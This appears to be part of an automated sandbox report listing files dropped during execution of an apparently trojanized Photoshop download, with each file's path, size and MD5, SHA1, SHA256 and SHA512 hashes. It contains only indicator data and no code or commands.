657f2aceb60d557f907603568b0096f9d94143ff5a624262bbfeb019d45d06d7

SHA512
f8662732464fa6a20f35edcce066048a6ba6811f5e56e9ca3d9aa0d198fc9517642b4f659a46d8cb8c87e890adc055433fa71380fb50189bc103d7fbb87e0be5

Download Submit
C:\Program Files\7-Zip\Lang\fi.txt

Filesize
8KB

MD5
a04b6a55f112679c7004226b6298f885

SHA1
06c2377ac6a288fe9edd42df0c52f63dce968312

SHA256
12cc4a2cef76045e07dafc7aec7cf6f16a646c0bb80873ec89a5ae0b4844443b

SHA512
88c7ed08b35558d6d2cd8713b5d045fba366010b8c7a4a7e315c0073cd510d3da41b0438f277d2e0e9043b6fcb87e8417eb5698ab18b3c3d24be7ff64b038e38

Download Submit
C:\Program Files\7-Zip\Lang\fr.txt

Filesize
10KB

MD5
a49801879184c9200b408375fc4408d7

SHA1
763231bd9b883692c0e5127207cbfc6a2a29bc7d

SHA256
397a3af716eb7f0084f3aa04ad36eab82aab881589a359e7d6d4be673e1789a8

SHA512
f408203907594afa116a2003d0b65d77c9bca47663f7f6b26e9158b91dad40569e92851bf788a39105298561f854264a8dc57611637745e04e68585b837702f2

Download Submit
C:\Program Files\7-Zip\Lang\fur.txt

Filesize
6KB

MD5
06b08fe12c0f075d317cf9a2a1dd96bc

SHA1
0062ba87b9207536b9088e94505d765268069f63

SHA256
6ba88938c468e7217bd300b607d7a730530e63d1f97562604ec0bb00d66a06c9

SHA512
9f9fb1c045d92c1f8035d547554457e3466ae861a04f1cd3f57965e4a92f0fc433b2a7b3e9e1e71588e97f8c73d5914a750deded5d3056e327d7efe19a220198

Download Submit
C:\Program Files\7-Zip\Lang\fy.txt

Filesize
5KB

MD5
03d38f09189799a0d927727d071c54b6

SHA1
17ff3a2c83e6a0b0733f2a9a8ce6b83af4f1b137

SHA256
c1c050ed6fe2f8fbc048fd7d82944b8ada784415b6e62316d590c3c7aa45e112

SHA512
e511c1a271a3d78cb7f6111759eec4d7cfc2d46f71f87aa3c4ac1bb11cd4e55e7d4dbe54f9c5107025ffe8c5fcadad4359dc673bc802b82388e74a8f2fa60ff7

Download Submit
C:\Program Files\7-Zip\Lang\ga.txt

Filesize
7KB

MD5
236cfc435288002763c68c4bbee7b39d

SHA1
e74a2402c2cb744dbed8ac1c2154fb1de38148f9

SHA256
b18730124208d26e5e88b76bb99985bf61938d7a994b626b2de5230557d2d8dd

SHA512
fa6941594454cda55e081f15f367f430559849d218895b0b157a2204e8b30ae95db99c62981a9c30a152a63d1bdb8edd975bf06ee5adf1f31b42a2c10cf11580

Download Submit
C:\Program Files\7-Zip\Lang\gl.txt

Filesize
8KB

MD5
6cd7c2b4d6bba163b1623035feb4297d

SHA1
5df07bcfd1edbd448b566aea5789ef251303de69

SHA256
9280ab90261b0c8f206eef7196d7531e4e4932c9174ab899cee4f8ed97cc87c6

SHA512
7ed13085ebc2545b434f5671f958f7a5faa1bc29f7c10721a972afd2c886fc39f0a6e290e70f1f8ea798199ca26974257eaf9b8445652c9b02c789e198191a3e

Download Submit
C:\Program Files\7-Zip\Lang\gu.txt

Filesize
16KB

MD5
93cdc8832328a22e198920630d597268

SHA1
315e5b1c77fb4e2d0c3cc1f48b6db4c79ce9488a

SHA256
c6e54e2a93b821bc974209cd7e2d10e9fbc4ff07d238ae84f552e4ade271702c

SHA512
e8355a42f3a3b5f21d5d4c7a21324433c997ad39412b3bcdcf26edbd5ef882179168b2b5618f9fe631b88407608ab1a83bf139db05c09b608fddf01694b710df

Download Submit
C:\Program Files\7-Zip\descript.ion

Filesize
366B

MD5
eb7e322bdc62614e49ded60e0fb23845

SHA1
1bb477811ecdb01457790c46217b61cb53153b75

SHA256
1da513f5a4e8018b9ae143884eb3eaf72454b606fd51f2401b7cfd9be4dbbf4f

SHA512
8160b581a3f237d87e664d93310f5e85a42df793b3e22390093f9fb9a0a39950be6df2a713b55259fce5d5411d0499886a8039288d9481b4095fabadddbebb60

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\7173e2af-5374-4124-9f3b-6358c33de7a3.tmp

Filesize
12KB

MD5
f9748b7e0787af78e1e1c29973ead1ea

SHA1
171ee04fd2a1d72b286d54ce4a4bae93989c8df7

SHA256
644e48b68f3568f586d5811dfc3c50d773adaf512485b5f1a23bbfeea37b6ea1

SHA512
dc706e3f8a41b6015e3d10d546d63034f283d2e851eaa8767a0d3a0d8c5883fb7caac1d04b572e791a7a09e66c1458064f350dc52b33aecaf81eda4c9b2b6b9b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
b55d2d2ff2a4d5d7eeaff5ebb96f3b4a

SHA1
12d94b9e84142b10d6347a2ff3b634a20f692c7a

SHA256
3d249eae36cfc3837b043e4b8df670724fee5657b302c77d488f1da3d835f776

SHA512
4dc2fe1eeaca5f9c91d548c70a44ffd12b806a385e22a3c5f724b6f749a15c9ccb3ac1a752c63225bd4d1d90f2b25d8004a15d3912ca6a3cb92fcba91248626f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
94c981336abc388ca817dab46e7fc547

SHA1
2d0f8d89a31adb0aad5c599a195ff40ecf4b161f

SHA256
4d44efbb5447fedc3cb21311290fe6a9d0e5a0e682387a1a341bd214df820ef2

SHA512
f1c9c98f6642ea3b90c8667a4871d5a3b8c05eb0c50d5dc31e32704e0eeca1d33add414df485aced130523d6be824c48e37d0022b4d58db60006efe3e337fdbc

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
c20d1ee42bea16334f1be58801aae7af

SHA1
f343ac111dc537a2894b18e7a334f5672efe2772

SHA256
761584765ed2a0f59a8ced57917b851a8c0354365aed3fe44c13ecf1cc1f24a9

SHA512
397423a4d3e25a5aea66ddb51bda7eabac7dcdd71c4b5825b6d2747627fd76bcc8da42c815cf467a8f9324b03e321c6e45bd075d3fa41836fe7e51c9b70a4729

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\77e2348d-33ae-4235-8809-1d6a556f4fe4.tmp

Filesize
7KB

MD5
0ff1dc3a69ba41566e1ad2af57a90186

SHA1
d73bd9ce822136606df0eec75faa1460a4a94d32

SHA256
085ed8a6794abce64b641590dbe9d7ed384979e7508f3af35f7aec036f489aa8

SHA512
0f158b69b69536c244bc7a2461e79a718185e38194bfbe258f1089041c6cc1a341d1ef00b0dd9ddd82849dd5cd3d941d9cccf3ceca389b38502cd5b30f2fcf9c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
336B

MD5
1d139936aa543342bc68715e2fe2f7c4

SHA1
064f4cefa2d011ebf4a8edee28cc070a17d45bec

SHA256
f0131f6058a9c632b4a94315966a6bf1e62ad9385259a4f0d51e7348f05d062c

SHA512
1256f716c8983320fe168d170ec87593b5ebaab5eb3eb33c58850ff9f242a6cbec898f82fe42168481f70067905abe3e739bfb4e416f9c508ce675a05ec47888

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
2KB

MD5
a6af844a4781e83d432e20ed15c1017c

SHA1
2b046d0df42b27d7a29c49053989f5d64d0ffb51

SHA256
b11d02caa8113e19bbb22b0f03e593ea5fa8b4ce586e1de0c4a6f1c16554e885

SHA512
3260bda01e7a0164fb03b097410f89d3d3609a37ac0366c0accd5f3a94d122cd9b4938db4aaa2788e75ecc45f0bad1dea4eff24101a147be0aad67e4f6d4a558

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
1KB

MD5
37e7bd5862011fd3b9bcafd9956cf585

SHA1
ba7329d89ac42945da4b42c01c35b95af90bae9f

SHA256
de7fe30a3886eac7dab1a56b5752be8553a663bf0045e174627625bd268bb50d

SHA512
7b93343a66549cb399095a498c029753738d59257dfddbdb1fb87770548e5527f1785a94e71edfb42c1086bccc7f30991f787b1499cddf7eff784622a820e626

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
77a472d21835e496c5ea92a03244c4ad

SHA1
f4346aeb2ace5069091b8a078de9c7003ecfe081

SHA256
190235b5d4857cc3969254187c39d1c77e743739893e315f270bbc18caab3e34

SHA512
b6164aebef5348901dbece10fb5a7b00c8207181e14d065fade550cedea6236067cbd35624645467a56dffbf1182276eae4c169664179ec6937a6a16025a11d3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
51241d953cc562471d9c6ef258acd06c

SHA1
41d3cd93b1f972a5acc538259126c682cd5184f0

SHA256
489aefbd3fbf3c8cc64579b5156f71da144ded09ae1e75eb6c9ada81183449f9

SHA512
137910a0e7e4c2e2fee462de38ffbe823074d7185b2833bf0f112702b8144b290301dd4387e7b3bd7f0ffc3e1b34ae3bf32d8cc718ba96ceb91c998998bf12c6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
8e54d8562c10072855a188c00371491b

SHA1
8d9d3ec645f435d9ef7d5ad2e6ed804627590899

SHA256
ab9fa2d474c6d74391defd1102291e758382618fd203b85f6b8d403237360886

SHA512
dd77bf65c5f3eaace7d67cba9355f006b4971b94df72fbde34765de9754942c1df9329ec5f4ef826e22ea7b92aee16fdddac86a673228aab03129083906896fa

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
7KB

MD5
057a3070e30578177b7185e773e72836

SHA1
a9d2d9524fa5c684930280ba99510be27a2cd825

SHA256
1ff13360e6a2f22431cb6f3456352d6e2a79a2c8a61d479e85a10e9ee3855723

SHA512
9648f0a832e5d35e95cbafc4a72120048743a0a5eb01fd5c4a809ad65767ccb908ad6a1d70f7e10cc19d1c5cc19241bf1640a82e46c40ffcca04a4a85ec8f6e2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
7fa638e1c3fa4876ddcae017189be1cb

SHA1
5d635f033856be338e2c0344fe3846c4476174c2

SHA256
f112d283ddb60c79f114f7aa5780f820653b6150e62a0a83ceeb5f3581783397

SHA512
c946761617b1b8f67e17ed0b2f347bd19410be8357e1d30dcaf070e24693b2ea5a7d82814d4dab79527d1e4c5ff4a267688225d89990da4aa4f7f5ee5fca4d51

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
537B

MD5
5783317a3399b8da37e9a629539b64e5

SHA1
5c5852e639e531a66dcb4c559344ba598bc5f8e1

SHA256
bd913ee5d2ad25863e8a268ef521eaba12c3cbcf3248e3823273b409aeb131a8

SHA512
0ea3d7a863ab49c0b35776b115cf848b9f4dd3ae6280b3aac7c2cfd959b63b0687606251d2a7aef491f613d743114394012aa34112d54c5182ae94723b1018ab

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
872B

MD5
27b6854e1227bb11fb1cd2590d6c4bf5

SHA1
051e6937c49b9f232bea16cb0ae6aa6044991801

SHA256
8ae63b8288fb5fcba8aaefadc0ffd153a87963a990d7e80a49d43870b63ed63e

SHA512
0ca594dfae2944e09c74fd9410fb71cd3258495a4230eb5f982dadb24b5efda2001a62d572ad26c2c5069e1f9e989b3d72960d29347b0dc9746452f05260bca8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity~RFe585501.TMP

Filesize
203B

MD5
222e39b43e6d2d02818503917cae8c25

SHA1
6b116ae4b2795f371a4079954e9ba7f0174148bb

SHA256
6a20826b0cb10ee16920e546765285ae62ea12ddf8771520dd5e6c96bb5feed3

SHA512
046f355d6b9bf34b084c3232fec4531bfbf78d505c7af052ac037a5ec356e5ed9c182fd787bf402cb4e69ad1b70a2f3a0aee9eaf9f31f1cfe921a44f8d683441

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
6752a1d65b201c13b62ea44016eb221f

SHA1
58ecf154d01a62233ed7fb494ace3c3d4ffce08b

SHA256
0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

SHA512
9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
7284506bfda3d54a22d7a2ea9de94488

SHA1
36f414757170f7fab6714e54c8b957a86e6a1921

SHA256
c995914e8af5c9fb2fbad2d121d46e80170e663c53b6741a2eb907b0d0dd04f2

SHA512
c184a1ea4330c8c23a8c1f2c0a1cfcf313bfb71c9a06bf6acd1c88b2f3e4ed33b4b50ffaff9a40be053a969c793cdccf8288fb743423e165d1cf8e0daaeeb4e7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
12KB

MD5
cd120fe007f3c5a2bc5a146bebaabad3

SHA1
d1fe7da2dd9a925b0fbaa9fe1c3138b92f84abf5

SHA256
c9d88062fb5b439cf951c1e24c0d71493d38bfc2ceb801db433a0191a4243d89

SHA512
65eee415bdd79e46ea465dfb493422abf5fe317432c8a28f24afb135f80ad3950b8e348175a4fb613c3d0befc18dc3a1d7973b1fc5800e88fc3f687b833adf10

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
38d37d2e06b5a85db86bd926e795101a

SHA1
3136b8bec954ba1b85f4b4d4a68278a640068db9

SHA256
6eaebe59e0c1497dab8d4b0deba430a955a12db0edc7ef3a46408568d6e53dec

SHA512
f886f4cc8f8d35695adc97a8860d1101590547ce13c5c8aa138058732577acf6461fc126b7d51af9b439b49552f166463f73b81a6365f437bc156e5eb3044dbc

Download Submit
C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133668649398512691.txt

Filesize
75KB

MD5
2561aa547fa8a422e3a1c43004b243b7

SHA1
9ac34593099821bfb33e6bd2440facae44225d48

SHA256
faf4a3a1740e65f593717fcaf50c718fbf89d8c23609d64599245db5a99c74f6

SHA512
9e122d374ef0dc0cea5c4c47fd0f04ed6af5ff868d3abad71bdca1ca87acc67ef0cd563aa5d507b094f12e24e7b95ace57904fe77b5c5ba407e0aa58e61f052b

Download Submit
C:\Users\Admin\AppData\Local\Temp\PhotoshopTemp\3bca58cece\Hkbsse.exe

Filesize
429KB

MD5
233ea23b1c1587f1cf895f08ba6da10b

SHA1
e2b5131d03aa3bc56a004ba6debc6d57322e0691

SHA256
c7e20eafa32a38282616d78c43c574991d30fe2fbc876141fa76e5ff538c3b5c

SHA512
4f1d72732e8ea42665b325060b1dcbe8bd47b7fb78ba9e9be9d5da8c9be97206bce8b9fd319a95cd9514fa2ff58eb9194068bde09af4bef0e6d3435562e647a9

Download Submit
C:\Users\Admin\AppData\Local\Temp\PhotoshopTemp\__PSScriptPolicyTest_yyvdarap.afr.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsp42DD.tmp\System.dll

Filesize
11KB

MD5
bf712f32249029466fa86756f5546950

SHA1
75ac4dc4808ac148ddd78f6b89a51afbd4091c2e

SHA256
7851cb12fa4131f1fee5de390d650ef65cac561279f1cfe70ad16cc9780210af

SHA512
13f69959b28416e0b8811c962a49309dca3f048a165457051a28a3eb51377dcaf99a15e86d7eee8f867a9e25ecf8c44da370ac8f530eeae7b5252eaba64b96f4

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsp42DD.tmp\launcher.ini

Filesize
27KB

MD5
cfcb7e260eb0b941b94119eed2f7edf6

SHA1
bd5847a373765336e2db752421939df6fcaf2d13

SHA256
35feea5def887ee435396e76e25b3d438d6a7bf382c9d4f0644fc751f94e41db

SHA512
8a7071ee1267a5aa7f7e48719148ec90ab47f2fdb1332096dd5bf9ef36c96d3399fc340d71b4cbebac0bb14b085996bd949c76bc7107f34fffb1d213c96a2c5f

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsp42DD.tmp\newadvsplash.dll

Filesize
8KB

MD5
55a723e125afbc9b3a41d46f41749068

SHA1
01618b26fec6b8c6bdb866e6e4d0f7a0529fe97c

SHA256
0a70cc4b93d87ecd93e538cfbed7c9a4b8b5c6f1042c6069757bda0d1279ed06

SHA512
559157fa1b3eb6ae1f9c0f2c71ccc692a0a0affb1d6498a8b8db1436d236fd91891897ac620ed5a588beba2efa43ef064211a7fcadb5c3a3c5e2be1d23ef9d4c

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsp42DD.tmp\registry.dll

Filesize
29KB

MD5
2880bf3bbbc8dcaeb4367df8a30f01a8

SHA1
cb5c65eae4ae923514a67c95ada2d33b0c3f2118

SHA256
acb79c55b3b9c460d032a6f3aaf6c642bf8c1d450e23279d091cc0c6ca510973

SHA512
ca978702ce7aa04f8d9781a819a57974f9627e969138e23e81e0792ff8356037c300bb27a37a9b5c756220a7788a583c8e40cc23125bcbe48849561b159c4fa3

Download Submit
C:\Users\Admin\AppData\Roaming\services\Launhcer.dll

Filesize
2KB

MD5
7de0541eb96ba31067b4c58d9399693b

SHA1
a105216391bd53fa0c8f6aa23953030d0c0f9244

SHA256
934f75c8443d6379abdc380477a87ef6531d0429de8d8f31cd6b62f55a978f6e

SHA512
e5ffa3bfd19b4d69c8b4db0aabaf835810b8b8cccd7bc400c7ba90ef5f5ebd745c2619c9a3e83aa6b628d9cf765510c471a2ff8cb6aa5ad4cf3f7826f6ae84a3

Download Submit
C:\Users\Admin\AppData\Roaming\services\Launhcer.exe

Filesize
364KB

MD5
e5c00b0bc45281666afd14eef04252b2

SHA1
3b6eecf8250e88169976a5f866d15c60ee66b758

SHA256
542e2ebbded3ef0c43551fb56ce44d4dbb36a507c2a801c0815c79d9f5e0f903

SHA512
2bacd4e1c584565dfd5e06e492b0122860bfc3b0cc1543e6baded490535309834e0d5bb760f65dbfb19a9bb0beddb27a216c605bbed828810a480c8cd1fba387

Download Submit
C:\Users\Admin\AppData\Roaming\services\data\Launcher.dll

Filesize
5KB

MD5
e7a265397f9e6b354c6b905436b5f25a

SHA1
223baa79220f63b2bcfc2ec253c3b7fdcc8d8951

SHA256
e0462d00c9e3acbb7b7c434aac3ce03daa0eca3644036a28aca8d095216382d2

SHA512
a231d583d29b1810a111d23dd7bf43eec01028892fb1dd90a04cc5098bb5dbf9119699f8e86e685e4b5fb4c4cae97ffd8869bf9d16ffcf81a19544b60bb1bc8c

Download Submit
C:\Users\Admin\AppData\Roaming\services\data\Launcher.exe.manifest

Filesize
1KB

MD5
1b6de83d3f1ccabf195a98a2972c366a

SHA1
09f03658306c4078b75fa648d763df9cddd62f23

SHA256
e20486518d09caf6778ed0d60aab51bb3c8b1a498fd4ede3c238ee1823676724

SHA512
e171a7f2431cfe0d3dfbd73e6ea0fc9bd3e5efefc1fbdeff517f74b9d78679913c4a60c57dde75e4a605c288bc2b87b9bb54b0532e67758dfb4a2ac8aea440ce

Download Submit
C:\Users\Admin\Downloads\Adobe_Photoshop (1)\App\AfterFX\Photoshop64.exe

Filesize
364KB

MD5
93fde4e38a84c83af842f73b176ab8dc

SHA1
e8c55cc160a0a94e404f544b22e38511b9d71da8

SHA256
fb07af2aead3bdf360f555fc872191e43c2f0acbfc9258435f9a30afe272ba03

SHA512
48720aebe2158b8a58fc3431c2e6f68271fbade51303ad9cb5b0493efaec6053ff0c19a898841ef7c57a3c4d042ac8e7157fb3dc79593c1dfcdcf88e1469fdec

Download Submit
C:\Users\Admin\Downloads\Adobe_Photoshop (1)\App\AfterFX\Required\Default Face Expression Presets.p3f

Filesize
142KB

MD5
d3e20bd78c90a273a4888edb08800850

SHA1
cf5bdabdd48be21731a2f7a28288235829df9876

SHA256
b0bb1268386359cc9c6528de8ba287a06ba16f932dbd1d33be22eecd47168ff5

SHA512
0fea6f2daef8e5bf0f2440efa36da72269507737a5bb3bb970cc265408f82b8b0da4184a1eec64baf56bb781af3a0e2e0c6ae386841a837786c2f3bd10bef6c1

Download Submit
C:\Users\Admin\Downloads\Adobe_Photoshop (1)\App\AfterFX\Required\NGL\ui\authdialog\mac\es_NA.strings

Filesize
469B

MD5
f5b45136a5c0c568be586fa010c64bcc

SHA1
0340bab17db17f39ad4aeedf21bd0b93205255ca

SHA256
4ce87d86a6af1609bd4a487e1f63de0dcfe792b92bb13e2fc871058df0c9468d

SHA512
34ec0c2e61d9e8e447be3ed7ac41d1a27006c311ca2c8321266eceb32fb4296dff169ccd00bc7ff7d9fd2fa3068743add4f8cfdc094290b4b2a05f8152556e60

Download Submit
C:\Users\Admin\Downloads\Adobe_Photoshop (1)\App\AfterFX\Required\UXP\com.adobe.ccx.start\assets\picker\Onboarding_Cloud_de.jpg

Filesize
60KB

MD5
517536d076541d981e4038abfdf365c3

SHA1
0e732622c19475f8e74ce271720fce4687efd593

SHA256
60466dcb101f4b535a083ccbcadb2a744e6682052840fec5941b75a486107a97

SHA512
5d6f4efab07b2c22e93406859d038e34d0b681950aba00e10d51bcecfbfa6636055334842df4b7f4a82bb40cd528e5f3fd58696ca4b2dbbbf5c41f79a315a82c

Download Submit
C:\Users\Admin\Downloads\Adobe_Photoshop (1)\App\AfterFX\Required\UXP\com.adobe.ccx.start\images\thumbs\SP_PresetCustom.png

Filesize
6KB

MD5
14efcb232fe86257595d64bc2df6b75d

SHA1
659f8e6be9dfcf41a2f8d634010fc22c69862a4d

SHA256
bbefe78465090c6ec55757d596979e8b59f2cd7417b2f513ca8ab84eb2d45e5c

SHA512
80d411289380a61639757fa88072a563b998775656359c6ccd5195f2deb84c8bd18adf81305dfee586f3aba92aa43333ae99802c807c06c280e31d691b64dac4

Download Submit
C:\Users\Admin\Downloads\Adobe_Photoshop (1)\Data\AppDataLocal\Adobe Photoshop 2021\Optimized Colors\Black - White.act

Filesize
772B

MD5
4a3288f6cbd807aff229b4f79072462e

SHA1
921f22567ee0eeda1735604aba7ef6a318b43cc3

SHA256
cf513e23ddfa0e2f50f49ebc2e01fdcd798d13f62789ac17ccb6f3a809b78076

SHA512
93d0ab43f19e8dc44c6171da73a5a4083056e8cceabad0475ee2b329af53052a8eefee00467eda0a6e8566dd5de3b47a89930d520f36adbdc2a9cd2c6021af2a

Download Submit
C:\Users\Admin\Downloads\Adobe_Photoshop (1)\Data\AppDataLocal\Adobe Photoshop 2021\Optimized Colors\Grayscale.act

Filesize
772B

MD5
2ce81a3cc84b5269c1ac1fa076fd3810

SHA1
2f46aa44381ece540573257a59b1ff03977455d0

SHA256
fe468943559318a5108b2f74f642f1e2405e2eab23f37d14dc83c41f195e6af2

SHA512
d6911f56347566c13302e33f5dce0d740b4752986c2daef04f6a58e29fa94053496b41bf5f3aaa51e730ac1b2be0316e60ef9fcc7822ab049b8379b64cf34edd

Download Submit
C:\Users\Admin\Downloads\Adobe_Photoshop (1)\Data\AppDataLocal\Adobe Photoshop 2021\Optimized Colors\Mac OS.act

Filesize
768B

MD5
7bb7a37a1af9e3b447628ea5a7fa1184

SHA1
0dd29553762b89031e9deb1cbf1af2840a0b63c4

SHA256
5e107e5a1b7f8563fb8c3ed3b726465b253f73e41bc3dde147c1312bd1eb45dc

SHA512
ab10eecaf9aaf5520d0f406c414a18f4c45f1a69dc4d3c69cf8cd1c41e8b3c741aa2a6b5bfb7e6fa36ff73decfda2d787ad29f97034479644cc3763d432c27a9

Download Submit
C:\Users\Admin\Downloads\Adobe_Photoshop (1)\Data\AppDataLocal\Adobe Photoshop 2021\Optimized Colors\Windows.act

Filesize
768B

MD5
bdf11c39dd33b0f1ae86357ceae6843a

SHA1
6cc6e8a3ccd4eb8e204caff9fe66f7515b315b51

SHA256
a15e9392b2f59d20b29227282ab7c50ccd4623d5492a832b888ee23003de75cc

SHA512
e2d51666e13f76a44d630531b838724f758d426f0d102a2ef193760b8e4bbd0869e1cebd4f09171011754418f20047bfa10d30fac38cb454abd10fcee33f1655

Download Submit
C:\Users\Admin\Downloads\Adobe_Photoshop (1)\Data\AppDataLocal\Adobe Photoshop 2021\Optimized Output Settings\Background Image.iros

Filesize
1KB

MD5
48efe0dcc3d3876c964b77ca45a493e2

SHA1
d4bfea8906873d6bd4e26493af01a9254a02f278

SHA256
b0101a2b17db9fc5548939bd321f1743c4c3b9511925d6e05eecef82dabdfa22

SHA512
0366fa819f7fc5e439e8ab996387050ebf03f98af0fce73b434587d8fd5ce6364de0ef36054c83806c0e9b83fcd71e90b33d9aed409606477639aba10e02ba8d

Download Submit
C:\Users\Admin\Downloads\Adobe_Photoshop (1)\Data\AppDataLocal\Adobe Photoshop 2021\Optimized Output Settings\Default Settings.iros

Filesize
41B

MD5
67adb52b2c9081dcf9630c8a665b42c3

SHA1
2945e28de42ad49406885acf4725b87ce9886ead

SHA256
2da3964088f1c054751aae54eaa3ad11c994d6c146521acad3a72fb970ed2d06

SHA512
46f7055846e65a7ba5f4f16882d5e978693c0ac1e647c11009e6970532d749fd6b7d166f9e8d166bb661db9e0133fed71711b873e877ba50ed6f0362d187a941

Download Submit
C:\Users\Admin\Downloads\Adobe_Photoshop (1)\Data\AppDataLocal\Adobe Photoshop 2021\Optimized Output Settings\XHTML.iros

Filesize
1KB

MD5
adaea929c752976e654856979ce65226

SHA1
79a10e2a5ee6e93619671be612816dca5a46c700

SHA256
625d59acc13392b861b3852a643f7efef8537b776f0284e16309606e30ea12ab

SHA512
a6c2dcdb631808426c3451f3daff6d968d6fa4b555ece826d53ab99d43a1015db6d92f1a3e44ac12fbd36e847b2ba4640260feaa13a462f660da4de669b5e2ed

Download Submit
C:\Users\Admin\Downloads\Adobe_Photoshop (1)\Data\AppDataLocal\Adobe Photoshop 2021\Optimized Settings\GIF 128 Dithered.irs

Filesize
1KB

MD5
9af05d7519c786cf157c0698c0ff9f66

SHA1
40b63bddeffa834cb059539261caa08726bdfd14

SHA256
5db192c602cd8dd31e53b472bd1687e507130dfb2dd3c66a11f32db75b23dbf5

SHA512
5f3dd87616f56c767a938b03ce9153980c85838c0e7b7c746ac02e617d4b6b348ee4a6133edebc966a2b627a69e67352db09d33ceefee4efb4a7448e4f7e97fe

Download Submit
C:\Users\Admin\Downloads\Adobe_Photoshop (1)\Data\AppDataLocal\Adobe Photoshop 2021\Optimized Settings\GIF 128 No Dither.irs

Filesize
1KB

MD5
1cce87ca891f858873df3581d53080db

SHA1
bb1f732f8dc8dcfe5674f583b76adb1acba26cd1

SHA256
8415d196c71520811cf5245e00fa5e94ebdec10345ec38ba5a4070f3b0d76105

SHA512
226923f64dcbcecb13240bdb9898bdea0f6ecc33b73c7b79fa8324c6cbe09957bca4f945765753d9017da126a974217bd6e0de1ed8c38b955800c2425f941ff7

Download Submit
C:\Users\Admin\Downloads\Adobe_Photoshop (1)\Data\AppDataLocal\Adobe Photoshop 2021\Optimized Settings\GIF 32 Dithered.irs

Filesize
1KB

MD5
ad7857a8abf9bde686b7507079b9bc75

SHA1
c9ad654502127f32cc9658d9b17b9b84a45c3e4a

SHA256
622ae0e9a6c1012b7aef688cf4b9a57a3659066e23081f67b2565ddd9d55e170

SHA512
5ebf99464292a5a94d610ba04cdfcd53b4fa39b05715948e14a876cd58a83f42759ea0ccb6aa72f75459fcd9199aa988ab5793847b9d7cb4118b059ba8bb7f6e

Download Submit
C:\Users\Admin\Downloads\Adobe_Photoshop (1)\Data\AppDataLocal\Adobe Photoshop 2021\Optimized Settings\GIF 32 No Dither.irs

Filesize
1KB

MD5
b37db354d10a73ba88288164bb13182c

SHA1
3649f45a56cf71a0cb551315372546700cd96a0d

SHA256
9840c3e72436433614eab701e18e61f0ce0ab924a9491629463c949186dace4b

SHA512
8afe3071ba61ed20c2034c7501d8953a5a7d313bf4acc1a69f50f369296ad4e34df895c039eadf97afd543b4c4dc27e2d0532705121158ceb2a186725ba76bca

Download Submit
C:\Users\Admin\Downloads\Adobe_Photoshop (1)\Data\AppDataLocal\Adobe Photoshop 2021\Optimized Settings\GIF 64 Dithered.irs

Filesize
1KB

MD5
ef627124721490d26fecd2a106eb6862

SHA1
3b65c37c5942591609a816424bddbe91ccccfa73

SHA256
aa345a078107a81e8c52607fcdd938f944a6838d80c93a42183c4da08dc2e6c4

SHA512
fe1b70078d01737ffbab3d000bf81ee5cc5fe718c5a477c888714ada6638224f538eba7ecb542d1ebab5c39b2b9a8630875e14e540af96ab5b1369124103e9d9

Download Submit
C:\Users\Admin\Downloads\Adobe_Photoshop (1)\Data\AppDataLocal\Adobe Photoshop 2021\Optimized Settings\GIF 64 No Dither.irs

Filesize
1KB

MD5
93492f31a35fde6cf46abccebe02f0a8

SHA1
cec19520f626e32de64c1f38ffc94162b32e5069

SHA256
fd24cac9a45bd8a98bcb3d31a9716357b2b43f75febeb1713889939116241f0d

SHA512
23f4576203810c9dce0dd75ba9fdee285c4a84da8c85eac0a8ab8f5500a923288fe9e1ad7e0be3e70621df7bfe48c6836f0275ef23094028dfa78ffb6fdeec05

Download Submit
